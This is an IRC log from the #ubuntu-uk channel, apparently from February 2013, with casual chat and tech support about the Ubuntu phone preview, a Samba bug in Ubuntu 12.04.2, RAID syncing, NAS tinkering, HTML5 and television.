<AlanBell> because they have given up teaching computing, and the woodwork teachers are making robots and filling the void
<AlanBell> computing or "ICT" is basically pasting in unlicensed pictures from the internet into a wordprocessor and adding captions as far as I can make out
<shauno> pretty much.  "how to use Word to do your homework, because no-one can read your handwriting anymore".
<AlanBell> we went round a secondary school open day and in the ICT class the *first* thing the teacher said was "don't worry, there is no programming"
<ali1234> ok, but how is raspberry pi filling the void? with proprietary hardware? it's like calculator manufacturers patenting long division and then doing everything they possibly can to prevent it from being taught
<AlanBell> picaxe != raspberry pi
<ali1234> i know
<AlanBell> it is a microcontroller
<AlanBell> that you program in BASIC pretty much
<ali1234> PIC is something i can get behind
<ali1234> AVR is better, but they are both documented well enough to be considered a decent learning environment
<ali1234> no idea what PICAXE is but i've heard of it. is it like basic stamps?
<AlanBell> http://en.wikipedia.org/wiki/PICAXE
<ali1234> yes then. and like arduino too
<AlanBell> yeah, arduino is the next level of complexity I think
<ali1234> no, not at all
<AlanBell> more pins
<shauno> even 'back in my day' ICT was pretty much useless, because the students kept up with the times better than the teachers did.  when we went from logo on beeb micros, to win95 boxes, it was a toss-up as to who was teaching who
<ali1234> PIC is almost identical to AVR in terms of complexity of use
<ali1234> PIC hardware architecture is actually harder to use because it has really weird page flipping
<ali1234> but the applications are identical
<AlanBell> yeah, I only meant in terms of more pins and space to do stuff
<ali1234> "more pins" does not make it more complex, you can get PIC and AVR with more or less pins...
<ali1234> more flash memory too
<AlanBell> oh, ok
<ali1234> they are direct competitors
<ali1234> identical market
<bigcalm> Any recomendations for a nice in-line field editor? I have a page with a title that I want an admin to be able to click edit, change the title and save without being redirected around. Rather like WordPress does with their permalink
<AlanBell> anyhow, ali1234 if you want to see programming in a school, go to the woodwork department, not the room with computers in it
<ali1234> "woodwork"
<ali1234> you realise it hasn't been called that since before i went to school?
<AlanBell> resistant materials then
<AlanBell> or design and technology
<AlanBell> "the room with the wood and saws in it"
<AlanBell> and perhaps the laser cutter and CNC mill and pneumatic valve array board
<ali1234> yeah i never saw the CNC mill in use in 7 years i was at that school
<neuro> hmm, downloading my 9.something gig "All Mail" folder off gmail may have been a bad idea
<neuro> over three quarter of a million messages :P
<mungbean> neuro: i use offlineimap for that
<dwatkins> any conversation about Document Object Models causes hilights, as I'm 'Dom' on another IRC network.
<mungbean> anyone used 500px?
<mungbean> uploaded a tset bunch of pics (bad ones) and immediately got a load of "nice shot!" and faves. are they bots or the equivalent of twitter followers expecting follow backs.
<mungbean> some were pretty lame shots
<dwatkins> I don't see a 'new photos from all users' stream on there, mungbean
<dwatkins> perhaps there's an RSS feed
<mungbean> dwatkins: there's a "fresh" section
<dwatkins> ah ok, I only saw 'upcoming' which implies 'photos other people have already voted on'
<mungbean> i was hoping there was an esay way to bulk upload to the site ...seems not
<dwatkins> can you cheat, and bulk-upload to flickr then move the folder across? ;)
<mungbean> need a pro flikr account
<mungbean> also my pro 500px account expires today
<mungbean> think i won't bother..
<mungbean> picasa don't seem to offer a way to even download the windows version if your client is windows :-|
<mungbean> ^windows^linux
<popey> http://dl.google.com/picasa/picasa39-setup.exe
<mungbean> \o/ thanks
<popey> np
<mungbean> still my favourite photo manager
<davmor2> popey: do you think Daviey would appreciate this http://www.youtube.com/watch?v=-Rnw0D2AdYU
<popey> I'm gonna go ahead and not click that âº
<MartijnVdS> davmor2: win :)
<davmor2> popey: Ah go on you know you want to :)
<bigcalm> Hehe
<Daviey> davmor2: die.
<popey> there. no
<davmor2> Daviey: :D
<Laney> phablet-flashhhhhhhhhhhhhhhh AAAAAAHHHHHHHHHHHHH
<Laney> etc
<diplo> :)
<redtape-renegade> I'm off to Coffee Republic with a friend for a mocha .. think I'll bring the netbook too ..
<zleap> can anyone help or provide me with contact details with regard to ubuntu phones please ?
<diplo> #ubuntu-phone ?
<AlanBell> zleap: #ubuntu-phone is the place
<AlanBell> zleap: and/or check ubuntuonair.com right now
<zleap> this is for someone on tne exeter lug list
<popey> what specifically do you need?
<zleap> i mentioned i got some free cd's at the last meeting,  as i know one if you works at canonical,  hence he is asking me
<popey> asking you what?
<AlanBell> CDs are via me, and I don't work for canonical :)
<zleap> about ubuntu phones
<zleap> ok
<popey> yes, what specifically do you / he need?
<zleap>  > I am considering a Ubuntu Superphone and wanted tips on where to buy
<zleap> > > and what brand etc.
<popey> they dont exist yet
<popey> you can flash existing android devices with a preview developer version
<popey> but it's far from complete
<zleap> ok
<popey> but you can't buy an "ubuntu phone" in the shops
<zleap> right so will we be able to buy in the shops ?
<popey> in the future, yes
<kvarley> popey: Is that guaranteed or is it dependent upon deals with manufacturers?
<kvarley> /s/guaranteed/"guaranteed"
<popey> well duh
<directhex> no announcements RE hardware partners have been made yet?
<popey> it is my considered opinion that at some point in the future you will be able to buy phones in the shops running ubuntu phone os
<popey> better?
<popey> correct directhex
<kvarley> popey: Yes :)
<zleap> ok thanks will pass that info on
<directhex> possibly not on the high street, unless canonical manages a major-league HW partner
<directhex> or a branded network operator effort
<AlanBell> or a supermarket
<directhex> i.e. the only time you see ZTE on the high street is when it says "orange" on it
<kvarley> Ubuntu phones don't need to be on the high street for success though, do they?
<AlanBell> the Asda phone (may contain horse and Ubuntu)
<zleap> i wonder how many people have even heard of ubuntu to the point where they would buy a phone without seeing it first
<kvarley> AlanBell hehe
<directhex> horsebuntu!
<zleap> lol
<AlanBell> I wouldn't be surprised if they were sold in some disruptive way through some channel that isn't blocked by competition
<neuro> corner shops? :)
<zleap> computer shops perhaps
<neuro> there are no real major computer shops in the uk these days
<zleap> ok
<neuro> which i guess is a testament to how pervasive technology is these days
<neuro> you can just walk into tesco and buy a nexus 7 off the shelf, or a macbook pro, or an hp desktop
<neuro> in fact i can't think of anything more disruptive than a major supermarket getting involved
<neuro> massive supply chain, marketing up the wazoo, and competitive pricing (usually)
<zleap> you need marketing
<zleap> you need to get across why Ubuntu phone is better than andriod, iphone or windows
<neuro> "better" is a very subjective term
<zleap> so how to you sell it to someone
<popey> you dont
<neuro> as kvarley's and my chat this morning about OS X demonstrates
<popey> yet
<neuro> :)
<popey> given it's not finished
<zleap> oj so will a ubuntu phone integrate flawlessly with my ubuntu desktop ?
<zleap> ok
<neuro> right now the only people who need to be sold to are developers and OEMs
<popey> and odms and carriers
<neuro> and canonical is pretty good at that
<zleap> so both will have ubuntu one
<neuro> carriers, yeah
<zleap> and maybe google integration for calenders etc
<neuro> in fact i can imagine that carriers will be the only real sticking point
<neuro> zleap: it's early days, i'd say
<zleap> ok
<AlanBell> zleap: calendar app isn't started
<zleap> but integration is important snyc appointments etc,
<AlanBell> well it is in terms of some people have been drawing pictures, but they don't know what back ends it has to support
<zleap> AlanBell, no probs there
<neuro> zleap: sync is a solved problem, i've no doubt it'll happen; it's too early along the line yet for that to be an overriding concern, i'd say :)
<popey> lots to do
<zleap> point is we are up against systems that JUST WORK i seen things like air something on apple
<AlanBell> the core apps are being designed UI first then datamodel afterwards
<zleap> air play ?
<neuro> airplay is for broadcasting video or data to another device
<zleap> surely core apps are going to be similar to desktop aps
<neuro> e.g. apple tv
<popey> not important on day 1
<neuro> totally
<AlanBell> zleap: not really, no
<zleap> neuro, air play can transfer files between computers on a network
<neuro> no, that's AirDrop
<zleap> ah
<zleap> sorry
<neuro> and that's a mac-to-mac thing over bonjour
<neuro> best not to think about this as being "versus" ios, OS X, android, etc
<neuro> those markets are *mahoosive*
<neuro> absolutely giant
<zleap> i know
<neuro> let them do their thing
<zleap> so this is more specialist
<popey> no, less
<popey> there's a significant number of people who don't have smartphones
<zleap> but ok
<zleap> like me
<neuro> if you start off trying to be a slave to someone else's UI model, or feature model, you end up chasing their tails forever
<zleap> so this like a true OSS phone
<neuro> i'm not sold on the whole gesture thing that ubuntu touch does, but that's just a personal opinion; it's great to see something different being tried
<popey> there is plenty non-free in it
<zleap> ok
<zleap> so when are we looking at for a launch or is that too early yet ?
<neuro> unless canonical somehow overnight become a hardware manufacturer, a fabless semiconductor designer, and a logistics company, IMHO it will ever be "true OSS" (i.e. zero non-free)
<zleap> ok
<neuro> cf raspberry pi
<davmor2> neuro: nor was I till I saw it in action and then it made sense :)
<neuro> davmor2: that's why i'm reserving absolute judgement until i finally get round to flashing my n7
<neuro> and even then, as it's a dev preview, i'll still wait til final to be completely judgemental :)
<popey> zleap: October âº
<zleap> ok
<neuro> right, time to hassle garage about where the heck my car is ... *fume*
<davmor2> neuro: it's a bit clunky on the n7 but it give you a good idea of how things will work
<zleap> hi SamG2
<SamG2> Hi just setting up client
<zleap> sam we are sort of discussing ubuntu phone here
<zleap> ok
<SamG2> OK, i will listen, while looking into QML etc
<zleap> ok
<zleap> may also want to hang out in #ubuntu-on-air
 * bigcalm looks in to see popey mention October and starts to worry
<popey> âº
<Laney> the example content amuses me
<Laney> that picture of ev
<davmor2> Laney: which one is it I can't remember is he in gnome mode (with beard)
<popey> davmor2: he has froth on his nose
<davmor2> popey: ah yes massive cup of coffee iirc
<Laney> popey: where did you get ddms?
<Laney> in the sauce?
<popey> Laney: android-sdk
<popey> alan@deep-thought:~/android-sdk-linux/tools$ file ddms
<popey> ddms: Bourne-Again shell script, ASCII text executable
<Laney> yeah, a separate download
<Laney> all things should be in the archive!
<directhex> WHO LIKES COMPUTOR GAMEZ!?!
<bigcalm> o/
<bigcalm> I likez them a lot more than the unit tests I'm writing right now
<directhex> WHO ELSE
<davmor2> directhex: I do when I get time
<bigcalm> :O
 * bigcalm hugs directhex 
<directhex> davmor2, you don't count, you're not on my steam friends list
<dutchie> computor gamez are funz
<bigcalm> Shows a linux client on the website but not in Steam itself. Silly Steam
<directhex> bigcalm, uploading currently, apparently
<dutchie> which game is this?
<popey> bigcalm: what game?
<bigcalm> directhex: ah
<bigcalm> popey: Guns of Icarus Online - no idea what it is though :D
<popey> oh
<davmor2> directhex: popey and gord are good target audience members
<davmor2> oh popey you are there
<popey> hm?
<davmor2> popey: I wrote that earlier and forgot to hit enter
<notdrunk> hey there ubuntu-uk, how do i actually get to system - administrator - hardware drivers, searching using the lense in the unity interface yeilds zero results, its to enable wireless
<notdrunk> ?
<AlanBell> I have a date stamp from a sqlite database dump that looks like '\x07\xd9\x01\x01\x00\x07.\x0c\xb9\x19' and I believe it to mean 2009-01-01T00:07:46
<AlanBell> how do I interpret the hex to come up with that date?
<DJones> notdrunk: If you mean additional drivers they some up in software sources in 12.10
<mungbean> and its called jockey-gtk
<notdrunk> dont know DJones , it was suggeste when i searched about wireless and spent alot of time looking for administrator and hardware drivers and found nothing
<notdrunk> there is no wireless so the suggested solution was impossible to attempt
<DJones> mungbean: Not anymore, jockey-gtk was incorporated into Software Sources in 12.10, if you try running jockey-gtk in terminal, it says not installed, when you install & run again, it still says  not installed
<AlanBell> ah, I see it now, 07d9 is 2009 and the rest lines up
<notdrunk> DJones: when i restart the computer to get into ubunutu i should search for software sources and find my drivers there? if the search for software soureces actually yeilds results other than some amazon bargains
<notdrunk> ?
<DJones> What version of Ubuntu are you using
<notdrunk> quantal quetzal?
<DJones> ok, with Unity?
<notdrunk> yesh
<DJones> If you click the menu in the top right, go to System Settings, and then Software Sources, there is a tab for Additional Drivers
<notdrunk> kewlies
<notdrunk> laters
<notdrunk> oh and thanksh :)
 * jacobw figures out what openstack is
#ubuntu-uk 2013-02-23
<ali1234> !info nano
<lubotu3> nano (source: nano): small, friendly text editor inspired by Pico. In component main, is standard. Version 2.2.6-1ubuntu1 (quantal), package size 182 kB, installed size 600 kB
<MartijnVdS> Good morning everyone!
<dwatkins> hiya MartijnVdS
<mungbean> argh its cold out there
<mungbean> planning on staying in for rest of day
<redtape-renegade> Morning .. popey that guy you hate actually put Ubuntu on his Nexus .. http://www.youtube.com/watch?v=HTmYCswJ0QA
<redtape-renegade> MartijnVdS: Hello ..
<redtape-renegade> There is too many people running on the promenade .. they're making me feel fat :(
 * MartijnVdS just ran 10km
<MartijnVdS> training for next week's 20km run :)
<redtape-renegade> Crumbs, how long did that take you ?
<brobostigon> good morning everyone,
<redtape-renegade> morning..
<redtape-renegade> good being optional ...
<MartijnVdS> redtape-renegade: a little under an hour
 * redtape-renegade got a dictaphone in the mail today .. good for recording farts and putting them as ringtones on his phone ... :D
<redtape-renegade> MartijnVdS: I can't get up and dressed in an hour !!
<MartijnVdS> à² _à² 
<redtape-renegade> ?
<MartijnVdS> recording ringtones like that..
<redtape-renegade> I couldn't see 'that' comment .. it's in chinese ?
<MartijnVdS> oh it's this: http://lookofdisapproval.info/
<redtape-renegade> BTW The UK lost it's tripleA rating , financially today ..
<redtape-renegade> i get it thanx, dad .
<redtape-renegade> when do I get my allowance ??
 * redtape-renegade makes coffee ...
 * redtape-renegade like the Dutch teams translation logo https://launchpad.net/~ubuntu-l10n-nl
<AlanBell> morning all
<AlanBell> is "SIMS 3" on steam for linux?
<MartijnVdS> I don't think so
<mungbean> wow redtape-renegade that guys voice on the video is rather....
<redtape-renegade> SIMS 3 .. spawn of the devil  .. Surely not AlanBell
<redtape-renegade> mungbean: Joe or Chris ???/
<mungbean> the annoying guy
<redtape-renegade> the younger one ?
<mungbean> yeah
<mungbean> i could only handle 30 seconds of him
<redtape-renegade> he does a daily vlog .. like everyday .. he's an addict !]
<mungbean> very american
<redtape-renegade> ....  perhaps not for British peope, then.
<redtape-renegade> have you been there ?
<mungbean> to the US?
<redtape-renegade> mm yeah ?
<mungbean> yes. i do my best hugh grant impression when in NY
<AlanBell> seems like no sims 3 on steam
<mungbean> no sims 3 on linux full stop
<redtape-renegade> mungbean: How much did she cost ?
<mungbean> not that type :P
<redtape-renegade> hehe .. :)
<mungbean> i haven't been back since they started collecting fingerprints
<mungbean> america is an offence to my freedoms
<redtape-renegade> aaahh .. a privateer.
<mungbean> not so much, but the US treatment offends me
<redtape-renegade> .. just go through Canada :)
<mungbean> or stay in canada
<redtape-renegade> the border is [pretty slackware.
<redtape-renegade> **slack.
 * redtape-renegade cleans his specks ...
<redtape-renegade> Anybody want to hangout here ??
<redtape-renegade> Anybody want to hangout here ??
<redtape-renegade> Anybody want to hangout here ???
 * redtape-renegade makes crumpets ...
 * redtape-renegade scans the horizon for mischievous birds ..  seems a bit too quiet ..
 * mungbean goes back to bed
<SuperEngineer> AlanBell: message for you on -steam ;)
 * AlanBell is on -steam ;)
<redtape-renegade> Anybody want to hangout here ????
<ikonia> directhex: ping
<redtape-renegade> If I have to hear Skyfall theme-tune one more time , I thnk *I'm* going to crumble !!
<MartijnVdS> redtape-renegade: it's sung by a Dell, I heard...
<directhex> ikonia, yo yo yo sup
<ikonia> directhex: not too much, I may have it sorted in my head now, may nudge later after testing
<redtape-renegade> Anybody want to hangout here ?????
<mungbean> if you upload copyrighted content to youtube, do u share in ad revenue, or you get zero?
<redtape-renegade> prob. not .. i never got paid by youtu.be     ever.
<mungbean> i think they only pay you when your income exceeds a certain amount e.g. Â£59
<mungbean> Â£50
<redtape-renegade> i'm not expecting a cent...
<redtape-renegade> what do you subscribe to ??
<mungbean> did you turn on monetization?
<redtape-renegade> no
<redtape-renegade> what do you subscribe to ??
<mungbean> i don't really subscribe to anything
<directhex> mungbean, you get zero.
<redtape-renegade> well, i get videos the hour they are released .. thats how i use the internet .. the world come to me .. not the other way around.
<mungbean> thanks directhex
<mungbean> redtape-renegade: new != best
<redtape-renegade> otherwise your just a random viewer .. it's a community you know !
<mungbean> no its not
<redtape-renegade> it is to me.
<mungbean> its a video streaming site where hordes of kids put retarded comments on videos
<redtape-renegade> i talk to jordan keyes directly.
<mungbean> who is he
<redtape-renegade> exactly, you dont know !
<mungbean> and my life is no worse
<redtape-renegade> http://www.youtube.com/user/twildottv
<redtape-renegade> how the heck do you know that ?
<redtape-renegade> no bettr anyway ..
<redtape-renegade> mungbean: What communities *are* you an active member of ?
<redtape-renegade> mungbean: You are watching the video aren't you ??
<mungbean> huh?
<mungbean> whic video?
<mfraz74> Went to the RISC OS south west show this morning and bought a real time clock for my Pi
<dwatkins> mfraz74: neat, I'm planning on making a radio receiver for my Arduino to get the time from the MSF signal.
<A5c11Char5et> Hi, quick question if I may guys..
<A5c11Char5et> I'm doing some web development
<penguin42> ask !
<A5c11Char5et> Should I be using XHTML or HTML5 nowadays ?
<A5c11Char5et> I heard HTML5 compatibility isn't great still
<dwatkins> Who is your audience, A5c11Char5et?
<A5c11Char5et> Technical blogs, forum
<A5c11Char5et> Stuff like that
<dwatkins> I suspect most people will have html5-compatible browsers, not sure. If you write your HTML with that in mind, it should be possible to keep everyone happy, I imagine.
<dwatkins> (within reason, you probably don't need to worry too much about formatting for Netscape 2.0)
<dwatkins> html dog has some good tutorials: http://www.htmldog.com/guides/
<penguin42> anyone ever bought a pogoplug/goflex net
<A5c11Char5et> dwatkins, this site looks awesome. Thanks :)
<dwatkins> A5c11Char5et: welcome :)
<dwatkins> penguin42: not me, just a Raspberry Pi and a Synology NAS
<penguin42> dwatkins: I got this one open-box in Curry's bargain bin (#19) but they have a registration scheme/setup system and the problem is it's already been registered
<penguin42> ah, there's a note in the support pages about how to do that
<dwatkins> ah good, penguin42 - would have been a bit mean of them not to allow 2nd hand re-registering
<penguin42> nod
<penguin42> dwatkins: You're supposed to be able to install other Linux's on them - the trick though is you need to register and tick a box that enables ssh access
<dwatkins> sounds potentially dangerous, but if it's reasonably automated that's ok - does it have a serial/bluetooth external connection, penguin42?
<penguin42> dwatkins: No, it's got USB, ether, and two SATA
<penguin42> ooh, interesting - it seems to have it's ssh port open....
<dwatkins> perhaps the tick box is just to allow you to reset the password
<penguin42> dwatkins: Yeh maybe
 * penguin42 sends them a reset mail
<penguin42> dwatkins: I suspect there's a serial port inside somewhere
<dwatkins> yeah, my linksys router has one, although I'd need to do some voltage conversion stuff to use it with an RS232
<MartijnVdS> What are you hacking? :)
<penguin42> MartijnVdS: Seagate GoFlex Net
 * MartijnVdS opened up a TP-Link WA850RE
<MartijnVdS> as in.. opened up and broke the case :|
<MartijnVdS> now I have a PCB that has 230V in.. and wifi out
<MartijnVdS> I'm considering attaching a (new) lead, measuring the voltage of the DC it generates, then applying *that* to the DC part of the board
<MartijnVdS> it's still dangerousish
<dwatkins> might be worth getting a project box to house it in, too ;)
<MartijnVdS> dwatkins: yes, I have those :)
<dwatkins> ah good
<MartijnVdS> it has 10V caps, so the DC part must be <10V ;)
<MartijnVdS> but I don't know if it's 5 or 3.3
<dwatkins> what does ethernet use?
<MartijnVdS> dwatkins: -1V, -0.5V, +0.5V, +1V (-2.5V, +2.5V for 10mbit)
<dwatkins> oh wow ok
<MartijnVdS> but the ethernet port has its own "chip"/"box"
<penguin42> wow, they've sorted it - all done
<penguin42> it's odd having a system where you set your ssh password to it on an external website!
<penguin42> not bad for under #20 :-)
 * MartijnVdS shakes his fist in the general direction of Canon
<isleofmandan> Hello. Can anyone cofirm that 12.04 and Samba is broken? Trying to build my first ever Ubuntu Server, and samba crashes all the time. Bug 1016895 implies it's not my fault!
<lubotu3> bug 1016895 in samba (Ubuntu Precise) "smbd crashed with SIGABRT in dump_core()/setgroups being passed a -1 group is causing crashes." [High,In progress] https://launchpad.net/bugs/1016895
 * penguin42 looks
<penguin42> isleofmandan: Are you using a 12.04.2 install media?
<isleofmandan> I think so. I downloaded from ubuntu.com on Thursday night
<isleofmandan> I also did apt-get update/upgrade
<penguin42> isleofmandan: OK, so yes it looks like it's a known broken, but only in the new version that was released a couple of weeks ago; if you get a 12.04.1 install image it should work I think
<isleofmandan> OK. I'm building a NAS for home use. Do you think it's worth trying 12.10, or should I stick to the LTS?
<penguin42> isleofmandan: I think if you just want it to sit there and store data for you LTS is probably a better bet
<isleofmandan> Yes. Except today! I've spent 6 hours fiddling with smb.conf before finally realising i was doing nothing wrong!
<penguin42> isleofmandan: Haha yes, sorry about that
<isleofmandan> Still, I learned a lot about log files, and the tail command.
<isleofmandan> :)
<penguin42> I'd get a 12.04.1 image and try that
<isleofmandan> Will an apt-get update/upgrade break that though?
<penguin42> isleofmandan: Probably not (!)
<penguin42> isleofmandan: My understanding is thatthe 12.04.1 gets a separate kernel update stream from 12.04.2 (that shares it with quantal) and that bug seems to say it's kernel dependent
<isleofmandan> OK. Another question then... I have 3 hard drives. One for Ubuntu OS, the other two are configured in software Raid 1. It's taken *hours* to sync the two raid drives. If I wipe the single drive with the Ubuntu OS (not in the raid array) will I have to wait and re-sync again, or is the software raid info saved on the raid drives?   hope that makes sense(!)
<penguin42> the RAID state is stored on the RAID
<penguin42> how big are the drives?
<isleofmandan> 2TB (each)
<isleofmandan> 250 GB for the OS one
<penguin42> right, so lets say they manage 100MB/s then to read the whole driver flat out would take 2000seconds if everything flew at full speed
<dwatkins> just over half an hour
<penguin42> nod, and 100MB/s is what a 7200RPM drive gets on a good day
<isleofmandan> I think mdstat was reporting about 30MB/s at the time it was syncing
<dwatkins> yeah, I assume the drives are internal, isleofmandan
<isleofmandan> Yes, I've bought an HP Proliant microserver to replace a shop-bought NAS that is now full.  (300 GB seemed huge when I bough that. My desktop at that time had a 2.1 GB drive in it!)
<isleofmandan> Thought I'd have a go at using Ubuntu to build my own server
<isleofmandan> but this Samba bug has had me frustrated all day!
<isleofmandan> Trying to work out what I was doing wrong...
<isleofmandan> :)
<isleofmandan> Where can I find 12.04.1 for download, it's not listed at releases.ubuntu.com
<penguin42> hmm that's a good question
<isleofmandan> It's almost like *someone* doesn't want my server project to be a success!
<penguin42> http://old-releases.ubuntu.com/releases/12.04.1/
<isleofmandan> ah. thanks
<isleofmandan> .iso downloaded  :)   Off to play with it....  Thanks for all your help.
<penguin42> good luck
<celesteh> Do any of you have any experience with live streaming to ustream or any other similar service with ubuntu 12.04?
<SuperEngineer> help - sister's firm offered her a choice between Kindle Fire & Nexus... I told her to request Nexus but asked what model
<AlanBell> SuperEngineer: what is it for?
<SuperEngineer> ..mail recieved stated her boss had aalready ordered the Nexus [all that was a week ago]
<SuperEngineer> AlanBell: boss' rationale was "so that see could read/do emails when out of office"
<SuperEngineer> ...she is now swearing blind that the machine is labeled Asus
<AlanBell> SuperEngineer: nexus 7 is asus
<SuperEngineer> quote: The back reads - in big letters - nexus and in smaller letters at the botton - ASUS
<SuperEngineer> AlanBell: that solves that one then
<AlanBell> this one says Asus at the bottom on the back too
<SuperEngineer> ..no experience of it.. is it the same / similar/ totally different to the Samsung Galaxy / Nexus
<AlanBell> it is a 7 inch android tablet
<SuperEngineer> http://support.google.com/nexus/bin/answer.py?hl=en&answer=2667663&topic=2841129&ctx=topic
<SuperEngineer> AlanBell: yep - all confirmed... she's got herself both a winner and a generous boss [but apparently won't consider a "purely for supportiung your employee use" one for me :(
<bigcalm> Good afternoon chaps
<SuperEngineer> AlanBell: [& thanks]
<ali1234> hmm
<ali1234> AlanBell: did you get ubuntu touch on SGS2 yet?
<AlanBell> no, not had much tinkering time
<AlanBell> need to back it up first
<AlanBell> and I needed to find it and charge it up first
<MsCourtney> Does anyone know how long it takes for a traffic citation to come in the mail?
<bigcalm> o.O
<bigcalm> Bit off topic for us to know the answer to that
<MsCourtney> bigcalm: True, but I just asked in case someone knows as I badly need information on this
<SuperEngineer> MsCourtney: a Ubuntu one can take 6 weeks to 3months [& still be current]... see how bought that back on-topic ;)
<MsCourtney> SuperEngineer: This channel isn't always strictly on topic anyways
<SuperEngineer> MsCourtney: did someone say "strictly" ooo - Matron!  [in an Ubuntu fashion of course] ;)
<shauno> I actually have no idea.  but I have to ask, between using 'citation' (a very american term), and an afriNIC IP .. are you sure -uk are going to have the answer you're looking for ?
<SuperEngineer> ...but the answer previous is still relevant - just because it hasn't arrived, don't think you got awaty with the offence
<SuperEngineer> *away
<SuperEngineer> in fact -bringing it strictly on topic - the digital camereas/traps can send immediately and I bet they are linux powered systems
<MsCourtney> shauno: I'm in the UK in Surrey, ignore the IP
<SuperEngineer> ...the image based traps can arrive - as said - anytime between 6 weeks and 3 months
<shauno> fair enough, just tweaked at the word citation :)
<MsCourtney> I was told that they would consider the accident report and I might get a citation for "Driving without due care and attention" if they find it necessary. So there is a possibility of not getting one. shauno I have American relatives.
<SuperEngineer> shauno: [was beginning to wonder about that...]
<AlanBell> hi girlygirl
<AlanBell> another accident?
<MsCourtney> AlanBell: ??
<AlanBell> maritius must be terrible
<AlanBell> roads in *
<MsCourtney> Again, ignore the IP.
<AlanBell> anyone got ubuntu touch installed yet?
<shauno> I was only curious because we do tend to get wanderers from further afield.  I wonder if they get defaulted to -uk if they choose British English as a locale
<MsCourtney> Ubuntu phone, or ubuntu desktop with a touchscreen?
 * SuperEngineer getting annoyed by RhythmBox notification area "play" arrow simply opening rythmbox... I can do that myself, you know!
<redtape-renegade> WowI was having a really bad day until I got the news that Rebecca was only 3 miles away .. :D   :: https://dl.dropbox.com/u/55128914/Lubuntu%20docs/Rebecca.png
<AlanBell> you have been profiled
<shauno> ... as 'mature' ;)
<redtape-renegade> I was on Funny or Die website ...
<ali1234> AlanBell: do you not use adblock+?
<AlanBell> no
<ali1234> lol, no wonder
<redtape-renegade> http://www.funnyordie.com/videos/ed36fa1ab6/between-two-ferns-with-zach-galifianakis-steve-carell?rel=player&playlist=135161
<redtape-renegade> I should but you know .. like I care ?
 * SuperEngineer blesses & hugs builders AdBlock & NoScript
 * SuperEngineer might even be pass some wonga their way now & again
<SuperEngineer> *passing
<SuperEngineer> ..why is that my brain works faster than my keyboard -doh!
<redtape-renegade> because you dont have one of these .. http://www.keyboardco.com/keyboard_details.asp?PRODUCT=837
 * penguin42 hits redtape-renegade with his Model M
<SuperEngineer> redtape-renegade: nope - just looked - brain still too fsast
<SuperEngineer> ;)
<dwatkins> I suspect a folding keyboard wouldn't be the best typing experience, especially for me after using my archimedes-coloured Model M ;) http://imgur.com/u2RqAAe
<penguin42> dwatkins: haha, nice
<SuperEngineer> Dr Who time boys & girls
<redtape-renegade> Screw the doctor .. it's always the same tat on TV.
<dwatkins> SuperEngineer: on BBC1?
<MartijnVdS> 3
<MartijnVdS> it's a rerun
<MartijnVdS> New episodes from March 30 I think
<dwatkins> ah right, had me confused that the Radio Times website was lying to me, or showing me a different region ;)
<dwatkins> it's back in April, iirc.
<dwatkins> ooh, no - next Saturday :D
<MartijnVdS> dwatkins: _next_ Saturday!?
<MartijnVdS> dwatkins: http://www.bbc.co.uk/blogs/doctorwho/articles/Date-Confirmed-for-the-Doctors-Return
<MartijnVdS> dwatkins: that lists it as march _30_ not march _3_
<dwatkins> oh sorry
<dwatkins> I was all hopeful there, but got confused as to what month it is
<dwatkins> sily February and its number of days being a multiple of seven.
<dwatkins> *silly
<MartijnVdS> except sometmes
<dwatkins> indeed, I'm glad my birthday isn't on the 29th of February, I'd only be about eight years old.
<redtape-renegade> OK Ok .. what is a sonic screwdriver ... Pleeeease ??
<MartijnVdS> redtape-renegade: it's like a screwdriver. but sonic.
<redtape-renegade> apparently its a probe !
<MartijnVdS> http://tvtropes.org/pmwiki/pmwiki.php/Main/MagicTool :)
<redtape-renegade> opening..
<MartijnVdS> ... and now he's trapped for life in tvtropes :)
<MartijnVdS> At least it's not SCP - http://www.scp-wiki.net/
<ali1234> i found that website randomly before it got famous
<ali1234> i was like o_O
<MartijnVdS> ali1234: tvtropes or scp?
<ali1234> scp
<ali1234> probably from tvtropes
<dwatkins> I think I'll need a packed lunch if I'm going to go exploring on SCP.
<dwatkins> TV Tropes is bad enough as a time-sink ;)
<MartijnVdS> dwatkins: nah, it'll only come out the wrong end ;)
<dwatkins> lol
<redtape-renegade> Come on Ammie  .. get it together !
<SuperEngineer> sorry dwatkins ... was watching telly... it's BBC3
<redtape-renegade> http://www.bbc.co.uk/iplayer/tv/bbc_three/watchlive
<dwatkins> cheers SuperEngineer :) good episode, too
<dwatkins> they seem to like making people wait.
<redtape-renegade> never seen an episode in my life !!
<redtape-renegade> come Aimee do it !
<redtape-renegade> i wish she blow something else !
<MartijnVdS> !coc
<lubotu3> The Ubuntu Code of Conduct is a community etiquette document to which we ask all Ubuntu users to adhere | http://www.ubuntu.com/project/about-ubuntu/conduct  | For information on how to electronically sign the CoC, see https://help.ubuntu.com/community/SigningCodeofConduct | Watch http://static.screencasts.ubuntu.com/videos/2010/12/22/004-SigningCoC.ogv
<redtape-renegade> sorry.
<redtape-renegade> Aime kicks butt !!!
<MartijnVdS> amy*
<SuperEngineer> luboto says... this is a Kindness - don't be alarmed
<redtape-renegade> Awwwv !!
<redtape-renegade> .. I dont like the shakey camera ,.. abit wonky ..
<redtape-renegade> mmm the music has changed a lot ...
 * SuperEngineer wants "don't be alarmed,  this is a Kindness" added to luboto3's vocabulary... so many uses!
<dwatkins> SuperEngineer: is it followed by the user being dropped form the channel? ;)
<SuperEngineer> ;)
<jacobw> evening
<SuperEngineer> dwatkins: one would assume so ;)
<dwatkins> hiya jacobw
<redtape-renegade> mm.. good show .. bit long for the message thou ...
<dwatkins> "Don't press the wrong button on a lift" ?
<SuperEngineer> dwatkins: "this is a Kindness - don't be be alrmed: you're ignored/kicked/banned"...oh yes! gotta be worth submitting
<SuperEngineer> ..& who put the exctra "be" in there!
<SuperEngineer> Got to go now -
<SuperEngineer> early start tomorrow [travelling to Kentshire to see daughter :) and then on to hotel dor course Monday :(
<SuperEngineer> ...but back home in time Ubuntu-UK podcast Wednesday ;)
 * SuperEngineer wishes the podders all the best for 1st show of new season.
<popey> Evening all.
 * zleap dittos the good luck message :)
<bigcalm> Morning popey
<danfish> popey: I am now in a post Viglen age - it has died - a period of official mourning will follow
<popey> â¹
<danfish> popey: the ubuntu tablet/mobile stuff is spot on. My local NHS IT bods are very impressed. The SDK is on the intranet.
<Azelphur> Geek 2013 = Epic. https://www.dropbox.com/s/qw5rx3ieygayxa7/2013-02-23%2011.28.41.jpg?m :D
<popey> golly
<danfish> the 'powers-that-be' were planning to equip the community services with iPads, but after sg
<danfish> oops
